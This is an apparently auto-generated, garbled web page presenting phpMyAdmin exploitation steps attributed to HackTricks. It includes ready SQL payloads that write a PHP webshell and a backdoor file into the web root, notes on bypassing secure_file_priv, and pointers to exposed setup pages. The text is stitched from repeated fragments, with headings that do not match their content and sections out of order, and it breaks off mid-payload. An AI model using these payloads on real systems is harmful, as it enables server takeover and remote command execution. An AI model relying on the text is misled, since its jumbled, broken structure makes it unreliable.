Phpmyadmin Hacktricks Instant

The following report outlines common exploitation techniques for phpMyAdmin , based on security research and the HackTricks methodology. 1. Initial Access and Reconnaissance Default Credentials

1. Find the web root: try C:\\xampp\\htdocs\\ (Windows) or /var/www/html/ (Linux).
2. Disable output escaping:

   SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php";
   

3. If OUTFILE is restricted, use DUMPFILE:

   SELECT '<?php phpinfo(); ?>' INTO DUMPFILE '/var/www/html/backdoor.php';
   

Information Leakage: Checking the /setup/index.php or /scripts/setup.php directories can sometimes reveal sensitive configuration data if the admin failed to restrict access. phpmyadmin hacktricks

Part 6: Bypassing Security Measures

Bypassing secure_file_priv

• Check its value: SHOW VARIABLES LIKE "secure_file_priv";
• If it points to a directory, you can write there. If it's NULL, no OUTFILE/DUMPFILE.
• Bypass: Use general log method or UDF.

Before diving into the hacktricks, it's essential to understand the legitimate uses of phpMyAdmin. This tool is invaluable for: Find the web root: try C:\\xampp\\htdocs\\ (Windows) or

Comprehensive Payloads: It provides actionable SQL injection and Remote Code Execution (RCE) techniques, specifically for versions like 4.8.x (CVE-2018-12613). If OUTFILE is restricted, use DUMPFILE : SELECT '<